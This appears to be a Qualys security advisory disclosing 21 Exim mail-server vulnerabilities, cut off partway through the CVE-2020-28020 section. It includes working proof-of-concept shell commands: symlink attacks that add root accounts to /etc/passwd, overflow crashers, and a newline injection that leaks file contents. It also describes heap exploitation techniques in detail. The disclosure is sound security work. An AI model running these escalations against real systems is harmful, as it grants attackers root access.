Qualys Security Advisory

21Nails: Multiple vulnerabilities in Exim

==
Contents
==

==
Summary
==

We recently audited central parts of the Exim mail server (https://en.wikipedia.org/wiki/Exim) and discovered 21 vulnerabilities (from CVE-2020-28007 to CVE-2020-28026, plus CVE-2021-27216): 11 local vulnerabilities, and 10 remote vulnerabilities. Unless otherwise noted, all versions of Exim are affected since at least the beginning of its Git history, in 2004.

We have not tried to exploit all of these vulnerabilities, but we successfully exploited 4 LPEs (Local Privilege Escalations) and 3 RCEs (Remote Code Executions):

- CVE-2020-28007 (LPE, from user "exim" to root);

- CVE-2020-28008 (LPE, from user "exim" to root);

- CVE-2020-28015 (LPE, from any user to root);

- CVE-2020-28012 (LPE, from any user to root, if allow_filter is true);

- CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92);

- CVE-2020-28018 (unauthenticated RCE as "exim", in 4.90 <= Exim < 4.94,
  if TLS encryption is provided by OpenSSL);

- CVE-2020-28021 (authenticated RCE, as root);

- CVE-2020-28017 is also exploitable (unauthenticated RCE as "exim"),
  but requires more than 25GB of memory in the default configuration.

We will not publish our exploits for now; instead, we encourage other
security researchers to write and publish their own exploits:

- This advisory contains sufficient information to develop reliable
  exploits for these vulnerabilities; in fact, we believe that better
  exploitation methods exist.

- We hope that more security researchers will look into Exim's code and
  report their findings; indeed, we discovered several of these
  vulnerabilities while working on our exploits.

- We will answer (to the best of our abilities) any questions regarding
  these vulnerabilities and exploits on the public "oss-security" list
  (https://oss-security.openwall.org/wiki/mailing-lists/oss-security).

Last-minute note: as explained in the Timeline, we developed a minimal
set of patches for these vulnerabilities; for reference and comparison,
it is attached to this advisory and is also available at
https://www.qualys.com/research/security-advisories/.

```
========================================================================
CVE-2020-28007: Link attack in Exim's log directory
========================================================================
```

The Exim binary is set-user-ID-root, and Exim operates as root in its
log directory, which belongs to the "exim" user:

```
------------------------------------------------------------------------
drwxr-s--- 2 Debian-exim adm         4096 Nov  4 06:16 /var/log/exim4
------------------------------------------------------------------------
```

An attacker who obtained the privileges of the "exim" user (by
exploiting CVE-2020-28020 or CVE-2020-28018 for example) can exploit
this local vulnerability to obtain full root privileges. Indeed, the
following code opens a log file in append mode, as root (lines 465-469):

```
------------------------------------------------------------------------
  22 static uschar *log_names[] = { US"main", US"reject", US"panic", US"debug" };
 ...
 382 static void
 383 open_log(int *fd, int type, uschar *tag)
 384 {
 ...
 387 uschar buffer[LOG_NAME_SIZE];
 ...
 398 ok = string_format(buffer, sizeof(buffer), CS file_path, log_names[type]);
 ...
 465 *fd = Uopen(buffer,
```

```
 466 #ifdef O_CLOEXEC
 467                 O_CLOEXEC |
 468 #endif
 469                 O_APPEND|O_WRONLY, LOG_MODE);
------------------------------------------------------------------------
```

The name of the log file in buffer is derived from file_path, which is derived from log_file_path, a format string defined at compile time (or re-defined by the configuration file). On Debian, log_file_path is "/var/log/exim4/%slog", and "%s" is converted to "main", "reject", "panic", or "debug" at run time (line 398).

An attacker with the privileges of the "exim" user can create a symlink (or a hardlink) in the log directory, append arbitrary contents to an arbitrary file (to /etc/passwd, for example), and obtain full root privileges:

```
------------------------------------------------------------------------
id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

cd /var/log/exim4
ln -s -f /etc/passwd paniclog

/usr/sbin/exim4 -Rr $'X\n_trinity:SCB2INhNOLCrc:0:0::/:\nX['

grep -1 _trinity /etc/passwd
2021-03-09 09:45:05 regular expression error: missing terminating ] for character class at offset 35 while compiling X
_trinity:SCB2INhNOLCrc:0:0::/:
X[

su -l _trinity
Password: Z1ON0101

id
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------
```

==

CVE-2020-28008: Assorted attacks in Exim's spool directory

==

Exim also operates as root in its spool directory, which belongs to the "exim" user:

```
------------------------------------------------------------------------
drwxr-x--- 5 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4
drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4/db
drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4/input
drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4/msglog
------------------------------------------------------------------------
```

An attacker who obtained the privileges of the "exim" user can exploit this local vulnerability to obtain full root privileges. Various attack vectors exist:

- The attacker can directly write to a spool header file (in the "input" subdirectory) and reuse our exploitation technique for CVE-2020-28015.

```
- The attacker can create a long-named file in the "db" subdirectory and
  overflow a stack-based buffer (at line 208):

------------------------------------------------------------------------
 87 open_db *
 88 dbfn_open(uschar *name, int flags, open_db *dbblock, BOOL lof)
 89 {
 ..
 94 uschar dirname[256], filename[256];
...
111 snprintf(CS dirname, sizeof(dirname), "%s/db", spool_directory);
112 snprintf(CS filename, sizeof(filename), "%s/%s.lockfile", dirname, name);
...
198   uschar *lastname = Ustrrchr(filename, '/') + 1;
199   int namelen = Ustrlen(name);
200
201   *lastname = 0;
202   dd = opendir(CS filename);
203
204   while ((ent = readdir(dd)))
205     if (Ustrncmp(ent->d_name, name, namelen) == 0)
206       {
207       struct stat statbuf;
208       Ustrcpy(lastname, ent->d_name);
------------------------------------------------------------------------

  Proof of concept:

------------------------------------------------------------------------
id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

cd /var/spool/exim4/db
rm -f retry*
touch retry`perl -e 'print "A" x (255-5)'`

/usr/sbin/exim4 -odf -oep postmaster < /dev/null
*** stack smashing detected ***: <unknown> terminated
2020-11-04 15:34:02 1kaPTm-0000gu-I0 process 2661 crashed with signal 6 while delivering 1kaPTm-0000gu-I0
------------------------------------------------------------------------

- The attacker can create a symlink (or a hardlink) in the "db"
  subdirectory and take ownership of an arbitrary file (at line 212):

------------------------------------------------------------------------
204   while ((ent = readdir(dd)))
205     if (Ustrncmp(ent->d_name, name, namelen) == 0)
206       {
207       struct stat statbuf;
208       Ustrcpy(lastname, ent->d_name);
209       if (Ustat(filename, &statbuf) >= 0 && statbuf.st_uid != exim_uid)
210         {
211         DEBUG(D_hints_lookup) debug_printf_indent("ensuring %s is owned by exim\n", filename);
212         if (Uchown(filename, exim_uid, exim_gid))
------------------------------------------------------------------------

  Exploitation:

------------------------------------------------------------------------
id
```

```
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

cd /var/spool/exim4/db
rm -f retry*
ln -s -f /etc/passwd retry.passwd

/usr/sbin/exim4 -odf -oep postmaster < /dev/null

ls -l /etc/passwd
-rw-r--r-- 1 Debian-exim Debian-exim 1580 Nov  4 21:55 /etc/passwd

echo '_francoise:$1$dAuS1HDV$mT0noBeBopmZgLYD5ZiZb1:0:0::/:' >> /etc/passwd

su -l _francoise
Password: RadicalEdward

id
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------
```

Side note: CVE-2020-28007 and CVE-2020-28008 are very similar to
https://www.halfdog.net/Security/2016/DebianEximSpoolLocalRoot/.

==
CVE-2020-28014: Arbitrary file creation and clobbering
==

An attacker who obtained the privileges of the "exim" user can abuse the
-oP override_pid_file_path option to create (or overwrite) an arbitrary
file, as root. The attacker does not, however, control the contents of
this file:

```
------------------------------------------------------------------------
id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

/usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload &
[1] 3371

sleep 3

kill -9 "$!"
[1]+  Killed                  /usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload

ls -l /etc/ld.so.preload
ERROR: ld.so: object '3371' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
-rw-r--r-- 1 root Debian-exim 5 Nov  4 20:20 /etc/ld.so.preload
------------------------------------------------------------------------
```

The attacker can also combine this vulnerability with CVE-2020-28007 or
CVE-2020-28008 to create an arbitrary file with arbitrary contents and
obtain full root privileges.

==
CVE-2021-27216: Arbitrary file deletion
==

While working on a patch for CVE-2020-28014, we discovered another related vulnerability: any local user can delete any arbitrary file as root (for example, /etc/passwd), by abusing the -oP and -oPX options in delete_pid_file():

```
------------------------------------------------------------------------
 932 void
 933 delete_pid_file(void)
 934 {
 935 uschar * daemon_pid = string_sprintf("%d\n", (int)getppid());
 ...
 939 if ((f = Ufopen(pid_file_path, "rb")))
 940   {
 941   if (  fgets(CS big_buffer, big_buffer_size, f)
 942         && Ustrcmp(daemon_pid, big_buffer) == 0
 943      )
 944     if (Uunlink(pid_file_path) == 0)
------------------------------------------------------------------------
```

To exploit this vulnerability, a local attacker must win an easy race condition between the fopen() at line 939 and the unlink() at line 944; this is left as an exercise for the interested reader.

```
------------------------------------------------------------------------
History
------------------------------------------------------------------------
```

This vulnerability was introduced in Exim 4.94:

```
------------------------------------------------------------------------
commit 01446a56c76aa5ac3213a86f8992a2371a8301f3
Date:   Sat Nov 9 16:04:14 2019 +0000

    Remove the daemon pid file when exit is due to SIGTERM.  Bug 340
------------------------------------------------------------------------
```

```
========================================================================
CVE-2020-28011: Heap buffer overflow in queue_run()
========================================================================
```

Through the -R deliver_selectstring and -S deliver_selectstring_sender options, the "exim" user can overflow the heap-based big_buffer in queue_run() (lines 419 and 423):

```
------------------------------------------------------------------------
 412   p = big_buffer;
 ...
 418   if (deliver_selectstring)
 419     p += sprintf(CS p, " -R%s %s", f.deliver_selectstring_regex? "r" : "",
 420       deliver_selectstring);
 421
 422   if (deliver_selectstring_sender)
 423     p += sprintf(CS p, " -S%s %s", f.deliver_selectstring_sender_regex? "r" : "",
 424       deliver_selectstring_sender);
------------------------------------------------------------------------
```

We have not tried to exploit this vulnerability; if exploitable, it would allow an attacker who obtained the privileges of the "exim" user to obtain full root privileges.

Proof of concept

```
id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

/usr/sbin/exim4 -R `perl -e 'print "A" x 128000'`
malloc(): invalid size (unsorted)
Aborted

/usr/sbin/exim4 -S `perl -e 'print "A" x 128000'`
malloc(): invalid size (unsorted)
Aborted
```

==
CVE-2020-28010: Heap out-of-bounds write in main()
==

For debugging and logging purposes, Exim copies the current working directory (initial_cwd) into the heap-based big_buffer:

```
------------------------------------------------------------------------
3665 initial_cwd = os_getcwd(NULL, 0);
....
3945   uschar *p = big_buffer;
3946   Ustrcpy(p, "cwd= (failed)");
....
3952     Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
3953     p += 4 + Ustrlen(initial_cwd);
....
3956     *p = '\0';
------------------------------------------------------------------------
```

The strncpy() at line 3952 cannot overflow big_buffer, but (on Linux at least) initial_cwd can be much longer than big_buffer_size (16KB): line 3953 can increase p past big_buffer's end, and line 3956 (and beyond) can write out of big_buffer's bounds.

We have not tried to exploit this vulnerability; if exploitable, it would allow an unprivileged local attacker to obtain full root privileges.

Proof of concept

```
id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

perl -e 'use strict;
my $a = "A" x 255;
for (my $i = 0; $i < 4096; $i++) {
mkdir "$a", 0700 or die;
chdir "$a" or die; }
exec "/usr/sbin/exim4", "-d+all" or die;'
...
23:50:39  5588 changed uid/gid: forcing real = effective
```

```
23:50:39  5588   uid=0 gid=1001 pid=5588
...
Segmentation fault
```

History

This vulnerability was introduced in Exim 4.92:

```
------------------------------------------------------------------------
commit 805fd869d551c36d1d77ab2b292a7008d643ca79
Date:   Sat May 19 12:09:55 2018 -0400
...
   Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
+  p += 4 + Ustrlen(initial_cwd);
+  /* in case p is near the end and we don't provide enough space for
+   * string_format to be willing to write. */
+  *p = '\0';

-  while (*p) p++;
------------------------------------------------------------------------
```

==
CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
==

If a local attacker executes Exim with a -F '.(' option (for example), then parse_fix_phrase() calls strncpy() with a -1 size (which overflows the destination buffer, because strncpy(dest, src, n) "writes additional null bytes to dest to ensure that a total of n bytes are written").

Indeed, at line 1124 s and ss are both equal to end, at line 1125 ss is decremented, and at line 1127 ss-s is equal to -1:

```
------------------------------------------------------------------------
1124              {
1125              if (ss >= end) ss--;
1126              *t++ = '(';
1127              Ustrncpy(t, s, ss-s);
------------------------------------------------------------------------
```

We have not tried to exploit this vulnerability; if exploitable, it would allow an unprivileged local attacker to obtain full root privileges.

Proof of concept

```
id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

/usr/sbin/exim4 -bt -F '.('
Segmentation fault
```

==

CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
==

If a local attacker executes Exim with an empty originator_name (-F ''), then parse_fix_phrase() allocates a zero-sized buffer (at line 982), but writes a null byte to buffer[1] (lines 986 and 1149):

```
------------------------------------------------------------------------
4772 originator_name = parse_fix_phrase(originator_name, Ustrlen(originator_name));
------------------------------------------------------------------------
 960 const uschar *
 961 parse_fix_phrase(const uschar *phrase, int len)
 962 {
 ...
 982 buffer = store_get(len*4, is_tainted(phrase));
 983
 984 s = phrase;
 985 end = s + len;
 986 yield = t = buffer + 1;
 987
 988 while (s < end)
 989   {
....
1147   }
1148
1149 *t = 0;
------------------------------------------------------------------------
```

We have not tried to exploit this vulnerability; if exploitable, it would allow an unprivileged local attacker to obtain full root privileges.

```
------------------------------------------------------------------------
History
------------------------------------------------------------------------
```

This vulnerability was introduced by:

```
------------------------------------------------------------------------
commit 3c90bbcdc7cf73298156f7bcd5f5e750e7814e72
Date:   Thu Jul 9 15:30:55 2020 +0100
...
+JH/18 Bug 2617: Fix a taint trap in parse_fix_phrase().  Previously when the
+      name being quoted was tainted a trap would be taken.  Fix by using
+      dynamicaly created buffers.  The routine could have been called by a
+      rewrite with the "h" flag, by using the "-F" command-line option, or
+      by using a "name=" option on a control=submission ACL modifier.
------------------------------------------------------------------------
```

==

CVE-2020-28015: New-line injection into spool header file (local)
==

When Exim receives a mail, it creates two files in the "input" subdirectory of its spool directory: a "data" file, which contains the body of the mail, and a "header" file, which contains the headers of the mail and important metadata (the sender and the recipient addresses, for example). Such a header file consists of lines of text separated by '\n' characters.

Unfortunately, an unprivileged local attacker can send a mail to a recipient whose address contains '\n' characters, and can therefore inject new lines into the spool header file and change Exim's behavior:

```
------------------------------------------------------------------------
id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

/usr/sbin/exim4 -odf -oep $'"Lisbeth\nSalander"' < /dev/null

2020-11-05 09:11:46 1kafzO-0001ho-Tf Format error in spool file 1kafzO-0001ho-Tf-H: size=607
------------------------------------------------------------------------
```

The effect of this vulnerability is similar to CVE-2020-8794 in OpenSMTPD, but in Exim's case it is not enough to execute arbitrary commands. To understand how we transformed this vulnerability into an arbitrary command execution, we must digress briefly.

```
------------------------------------------------------------------------
Digression
------------------------------------------------------------------------
```

Most of the vulnerabilities in this advisory are memory corruptions, and despite modern protections such as ASLR, NX, and malloc hardening, memory corruptions in Exim are easy to exploit:

1/ Exim's memory allocator (store.c, which calls malloc() and free() internally) unintentionally provides attackers with powerful exploit primitives. In particular, if an attacker can pass a negative size to the allocator (through an integer overflow or direct control), then:

```
------------------------------------------------------------------------
119 static void *next_yield[NPOOLS];
120 static int yield_length[NPOOLS] = { -1, -1, -1,  -1, -1, -1 };
...
231 void *
232 store_get_3(int size, BOOL tainted, const char *func, int linenumber)
233 {
...
248 if (size > yield_length[pool])
249   {
...
294   }
...
299 store_last_get[pool] = next_yield[pool];
...
316 next_yield[pool] = (void *)(CS next_yield[pool] + size);
317 yield_length[pool] -= size;
318 return store_last_get[pool];
319 }
------------------------------------------------------------------------
```

1a/ At line 248, store_get() believes that the current block of memory is large enough (because size is negative), and goes to line 299. As a result, store_get()'s caller can overflow the current block of memory (a "forward-overflow").

1b/ At line 317, the free size of the current block of memory (yield_length) is mistakenly increased (because size is negative), and at line 316, the next pointer returned by store_get() (next_yield) is mistakenly decreased (because size is negative). As a result, the next memory allocation can overwrite the beginning of Exim's heap: a relative write-what-where, which naturally bypasses ASLR (a "backward-jump", or "back-jump").

2/ The beginning of the heap contains Exim's configuration, which includes various strings that are passed to expand_string() at run time. Consequently, an attacker who can "back-jump" can overwrite these strings with "${run{...}}" and execute arbitrary commands (thus bypassing NX).

The first recorded use of expand_string() in an Exim exploit is CVE-2010-4344 (and CVE-2010-4345), an important part of Internet folklore:

https://www.openwall.com/lists/oss-security/2010/12/10/1

Note: Exim 4.94 (the latest version) introduces "tainted" memory (i.e., untrusted, possibly attacker-controlled data) and refuses to process it in expand_string(). This mechanism protects Exim against unintentional expansion of tainted data (CVE-2014-2957 and CVE-2019-10149), but NOT against memory corruption: an attacker can simply overwrite untainted memory with tainted data, and still execute arbitrary commands in expand_string(). For example, we exploited CVE-2020-28015, CVE-2020-28012, and CVE-2020-28021 in Exim 4.94.

Exploitation

CVE-2020-28015 allows us to inject new lines into a spool header file. To transform this vulnerability into an arbitrary command execution (as root, since deliver_drop_privilege is false by default), we exploit the following code in spool_read_header():

```
------------------------------------------------------------------------
 341 int n;
 ...
 910 while ((n = fgetc(fp)) != EOF)
 911   {
 ...
 914   int i;
 915
 916   if (!isdigit(n)) goto SPOOL_FORMAT_ERROR;
 917   if(ungetc(n, fp) == EOF  ||  fscanf(fp, "%d%c ", &n, flag) == EOF)
 918     goto SPOOL_READ_ERROR;
 ...
 927     h->text = store_get(n+1, TRUE);     /* tainted */
 ...
 935     for (i = 0; i < n; i++)
 936       {
 937       int c = fgetc(fp);
 ...
 940       h->text[i] = c;
 941       }
 942     h->text[i] = 0;
------------------------------------------------------------------------
```

- at line 917, we start a fake header with a negative length n;

- at line 927, we back-jump to the beginning of the heap (Digression

  1b), because n is negative;

- at line 935, we avoid the forward-overflow (Digression 1a), because n
  is negative;

- then, our next fake header is allocated to the beginning of the heap
  and overwrites Exim's configuration strings (with "${run{command}}");

- last, our arbitrary command is executed when deliver_message()
  processes our fake (injected) recipient and expands the overwritten
  configuration strings (Digression 2).

We can also transform CVE-2020-28015 into an information disclosure, by
exploiting the following code in spool_read_header():

```
------------------------------------------------------------------------
 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
 757   {
 ...
 765   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
 766   nn = Ustrlen(big_buffer);
 767   if (nn < 2) goto SPOOL_FORMAT_ERROR;
 ...
 772   p = big_buffer + nn - 1;
 773   *p-- = 0;
 ...
 809   while (isdigit(*p)) p--;
 ...
 840   else if (*p == '#')
 841     {
 842     int flags;
 ...
 848     (void)sscanf(CS p+1, "%d", &flags);
 849
 850     if ((flags & 0x01) != 0)      /* one_time data exists */
 851       {
 852       int len;
 853       while (isdigit(*(--p)) || *p == ',' || *p == '-');
 854       (void)sscanf(CS p+1, "%d,%d", &len, &pno);
 855       *p = 0;
 856       if (len > 0)
 857         {
 858         p -= len;
 859         errors_to = string_copy_taint(p, TRUE);
 860         }
 861       }
 862
 863     *(--p) = 0;   /* Terminate address */
------------------------------------------------------------------------
```

For example, if we send a mail to the recipient
'"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' (where jane is our
username, and localhost is one of Exim's local_domains), then:

- at line 848, we set flags to 1;

- at line 854, we set len to 8KB;

- at line 858, we decrease p (by 8KB) toward the beginning of the heap;

- at line 859, we read the errors_to string out of big_buffer's bounds;

- finally, we receive our mail, which includes the out-of-bounds
  errors_to string in its "From" and "Return-path:" headers (in this
  example, errors_to contains a fragment of /etc/passwd):

```
------------------------------------------------------------------------
id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

(
printf 'Message-Id: X\n';
printf 'From: X@localhost\n';
printf 'Date: X\n';
printf 'X:%01024d2* X\n' 0;
) | /usr/sbin/exim4 -odf -oep $'"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' jane

cat /var/mail/jane
From
sys:x:3:
adm:x:4:
...
Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
jane:x:1001:1001:,,,:/home/jane:/bin/bash
 Thu Nov 05 10:49:07 2020
Return-path: <
sys:x:3:
adm:x:4:
...
systemd-timesync:x:102:
systemd-network:x:103:
sy>
...
------------------------------------------------------------------------
```

==

CVE-2020-28012: Missing close-on-exec flag for privileged pipe

==

Exim supports a special kind of .forward file called "exim filter" (if
allow_filter is true, the default on Debian). To handle such a filter,
the privileged Exim process creates an unprivileged process and a pipe
for communication. The filter process can fork() and execute arbitrary
commands with expand_string(); this is not a security issue in itself,
because the filter process is unprivileged. Unfortunately, the writable
end of the communication pipe is not closed-on-exec and an unprivileged
local attacker can therefore send arbitrary data to the privileged Exim
process (which is running as root).

Exploitation

We exploit this vulnerability through the following code in
rda_interpret(), which reads our arbitrary data in the privileged Exim
process:

```
------------------------------------------------------------------------
fd = pfd[pipe_read];
if (read(fd, filtertype, sizeof(int)) != sizeof(int) ||
```

```
793     read(fd, &yield, sizeof(int)) != sizeof(int) ||
794     !rda_read_string(fd, error)) goto DISASTER;
...
804     if (!rda_read_string(fd, &s)) goto DISASTER;
...
956   *error = string_sprintf("internal problem in %s: failure to transfer "
957     "data from subprocess: status=%04x%s%s%s", rname,
958     status, readerror,
959     (*error == NULL)? US"" : US": error=",
960     (*error == NULL)? US"" : *error);
961   log_write(0, LOG_MAIN|LOG_PANIC, "%s", *error);
------------------------------------------------------------------------
```

where:

```
------------------------------------------------------------------------
467 static BOOL
468 rda_read_string(int fd, uschar **sp)
469 {
470 int len;
471
472 if (read(fd, &len, sizeof(int)) != sizeof(int)) return FALSE;
...
479   if (read(fd, *sp = store_get(len, FALSE), len) != len) return FALSE;
480 return TRUE;
481 }
------------------------------------------------------------------------
```

- at line 794, we allocate an arbitrary string (of arbitrary length), error;

- at line 804 (and line 479), we back-jump to the beginning of the heap (Digression 1b) and avoid the forward-overflow (Digression 1a) because our len is negative;

- at line 956, we overwrite the beginning of the heap with a string that we control (error); we tried to overwrite Exim's configuration strings (Digression 2) but failed to execute arbitrary commands; instead, we overwrite file_path, a copy of log_file_path (mentioned in CVE-2020-28007);

- at line 961, we append an arbitrary string that we control (error) to a file whose name we control (file_path): we add an arbitrary user to /etc/passwd and obtain full root privileges.

This first version of our exploit succeeds on Debian oldstable's exim4_4.89-2+deb9u7 (it fails on Debian stable's exim4_4.92-8+deb10u4 because of a gstring_reset_unused() in string_sprintf(); we have not tried to work around this problem), but it fails on Debian testing's exim4_4.94-8: the pool of memory that we back-jump at line 804 is untainted, but the string at line 956 is tainted and written to a different pool of memory (because our primary recipient, and hence rname, are tainted).

To work around this problem, our "exim filter" generates a secondary recipient that is naturally untainted (line 479). When this secondary recipient is processed, the string at line 956 is untainted and thus overwrites the beginning of the heap (because it is allocated in the untainted pool of memory that we back-jumped at line 804): this second version of our exploit also succeeds on Debian testing.

Finally, we use one noteworthy trick in our exploit: in theory, the string that overwrites file_path at line 956 cannot be longer than 256 bytes (LOG_NAME_SIZE); this significantly slows our brute-force of the correct back-jump distance. In practice, we can overwrite file_path with a much longer string (up to 8KB, LOG_BUFFER_SIZE) because file_path is a format string, and "%0Lu" (or "%.0D") is a NOP in Exim's string_format() function: it consumes no argument and produces no output, thus avoiding the overflow of buffer[LOG_NAME_SIZE] in open_log().

==
CVE-2020-28009: Integer overflow in get_stdinput()
==

The following loop reads lines from stdin as long as the last character of the lines is '\\' (line 1273). Each line that is read is appended to a "growable string", the gstring g (at line 1266):

```
------------------------------------------------------------------------
1229 gstring * g = NULL;
....
1233 for (i = 0;; i++)
1234   {
1235   uschar buffer[1024];
....
1252     if (Ufgets(buffer, sizeof(buffer), stdin) == NULL) break;
1253     p = buffer;
....
1258   ss = p + (int)Ustrlen(p);
....
1266   g = string_catn(g, p, ss - p);
....
1273   if (ss == p || g->s[g->ptr-1] != '\\')
1274     break;
------------------------------------------------------------------------
```

Eventually, the integer g->size of the growable string overflows, and becomes negative (in gstring_grow(), which is called by string_catn()). Consequently, in store_newblock() (which is called by gstring_grow()), newsize is negative:

```
------------------------------------------------------------------------
506 void *
507 store_newblock_3(void * block, int newsize, int len,
508   const char * filename, int linenumber)
509 {
510 BOOL release_ok = store_last_get[store_pool] == block;
511 uschar * newtext = store_get(newsize);
512
513 memcpy(newtext, block, len);
514 if (release_ok) store_release_3(block, filename, linenumber);
515 return (void *)newtext;
516 }
------------------------------------------------------------------------
```

- the store_get() at line 511 back-jumps the current block of memory
  (Digression 1b);

- the memcpy() at line 513 forward-overflows the current block of memory
  (Digression 1a).

If exploitable, this vulnerability would allow an unprivileged local attacker to obtain full root privileges. We have not tried to exploit this vulnerability, because it took more than 5 days to overflow the integer g->size. Indeed, the loop in get_stdinput() has an O(n^2) time complexity: for each line that is read, store_newblock() allocates a new block of memory (at line 511) and recopies the entire contents of the growable string (at line 513).

Proof of concept

```
id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

(
for ((i=0; i<4096; i++)); do
echo "`date` $i" >&2;
perl -e 'print "\\" x 1048576';
done
) | /usr/sbin/exim4 -bt | wc

Program received signal SIGSEGV, Segmentation fault.
```

==

CVE-2020-28017: Integer overflow in receive_add_recipient()

==

By default, Exim does not limit the number of recipients (the number of valid RCPT TO commands) for a mail. But after 52428800 (50M) recipients, the multiplication at line 492 overflows, and the size that is passed to store_get() becomes negative (2*50M * 40B = -96MB):

```
------------------------------------------------------------------------
 484 void
 485 receive_add_recipient(uschar *recipient, int pno)
 486 {
 487 if (recipients_count >= recipients_list_max)
 488   {
 489   recipient_item *oldlist = recipients_list;
 490   int oldmax = recipients_list_max;
 491   recipients_list_max = recipients_list_max ? 2*recipients_list_max : 50;
 492   recipients_list = store_get(recipients_list_max * sizeof(recipient_item));
 493   if (oldlist != NULL)
 494     memcpy(recipients_list, oldlist, oldmax * sizeof(recipient_item));
 495   }
------------------------------------------------------------------------
```

- at line 492, store_get() back-jumps the current block of memory (Digression 1b), by -96MB;

- at line 494, memcpy() forward-overflows the current block of memory (Digression 1a), by nearly 2GB (50M * 40B = 2000MB).

Initially, we thought that CVE-2020-28017 would be the perfect vulnerability:

- it affects all versions of Exim (since at least the beginning of its

```
  Git history in 2004);

- it is certainly exploitable (an unauthenticated RCE as the "exim"
  user): the forward-overflow can be absorbed to avoid a crash, and the
  back-jump can be directed onto Exim's configuration (Digression 2);

- a back-of-the-envelope calculation suggested that an exploit would
  require "only" 6GB of memory: 2*2GB for all the recipients_lists, and
  2GB of recipient addresses to absorb the forward-overflow.

Eventually, however, we abandoned the exploitation of CVE-2020-28017:

- On Exim 4.89 (Debian oldstable), the ACLs (Access Control Lists) for
  the RCPT TO command consume approximately 512 bytes per recipient: an
  exploit would require more than 50M * 512B = 25GB of memory. Instead,
  we decided to exploit another vulnerability, CVE-2020-28020, which
  requires only 3GB of memory.

- On Exim 4.92 (Debian stable), the ACLs for RCPT TO consume at least
  4KB per recipient. Indeed, this version's string_sprintf() allocates a
  whole new 32KB memory block, but uses only one page (4KB): an exploit
  would require more than 50M * 4KB = 200GB of memory.

- On Exim 4.94 (Debian testing), the problem with string_sprintf() was
  solved, and an exploit would therefore require "only" 25GB of memory.
  However, the "tainted" checks create another problem: each RCPT TO
  allocates T blocks of tainted memory, and makes U is_tainted() checks
  on untainted memory, but each check traverses the complete linked list
  of tainted memory blocks. For n recipients, this has an O(n^2) time
  complexity (roughly U*T*(n^2)/2): it would take months to reach 50M
  recipients.

CVE-2020-28017 is also exploitable locally (through -bS and
smtp_setup_batch_msg(), which does not have ACLs), and would allow an
unprivileged local attacker to obtain the privileges of the "exim" user.
But better vulnerabilities exist: CVE-2020-28015 and CVE-2020-28012 are
locally exploitable and yield full root privileges.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
for ((i=0; i<64000000; i++)); do
[ "$((i%1000000))" -eq 0 ] && echo "`date` $i" >&2;
echo 'RCPT TO:lp@localhost';
done
) | /usr/sbin/exim4 -bS | wc

Program received signal SIGSEGV, Segmentation fault.
```

```
========================================================================
CVE-2020-28020: Integer overflow in receive_msg()
========================================================================
```

During our work on Exim, we stumbled across the following commit:

```
------------------------------------------------------------------------
commit 56ac062a3ff94fc4e1bbfc2293119c079a4e980b
Date:   Thu Jan 10 21:15:11 2019 +0000
...
+JH/41 Fix the loop reading a message header line to check for integer overflow,
+      and more-often against header_maxsize.  Previously a crafted message could
+      induce a crash of the recive process; now the message is cleanly rejected.
...
+    if (header_size >= INT_MAX/2)
+      goto OVERSIZE;
     header_size *= 2;
------------------------------------------------------------------------
```

This vulnerability is exploitable in all Exim versions before 4.92 and
allows an unauthenticated remote attacker to execute arbitrary commands
as the "exim" user. Because this commit was not identified as a security
patch, it was not backported to LTS (Long Term Support) distributions.
For example, Debian oldstable's package (exim4_4.89-2+deb9u7) contains
all known security patches, but is vulnerable to CVE-2020-28020 and
hence remotely exploitable.

By default, Exim limits the size of a mail header to 1MB
(header_maxsize). Unfortunately, an attacker can bypass this limit by
sending only continuation lines (i.e., '\n' followed by ' ' or '\t'),
thereby overflowing the integer header_size at line 1782:

```
------------------------------------------------------------------------
1778   if (ptr >= header_size - 4)
1779     {
1780     int oldsize = header_size;
1781     /* header_size += 256; */
1782     header_size *= 2;
1783     if (!store_extend(next->text, oldsize, header_size))
1784       {
1785       BOOL release_ok = store_last_get[store_pool] == next->text;
1786       uschar *newtext = store_get(header_size);
1787       memcpy(newtext, next->text, ptr);
1788       if (release_ok) store_release(next->text);
1789       next->text = newtext;
1790       }
1791     }
------------------------------------------------------------------------
```

Ironically, this vulnerability was the most difficult to exploit:

- when the integer header_size overflows, it becomes negative (INT_MIN),
  but we cannot exploit the resulting back-jump at line 1786 (Digression
  1b), because the free size of the current memory block also becomes
  negative (because 0 - INT_MIN = INT_MIN, the "Leblancian Paradox"),
  which prevents us from writing to this back-jumped memory block;

- to overflow the integer header_size, we must send 1GB to Exim:
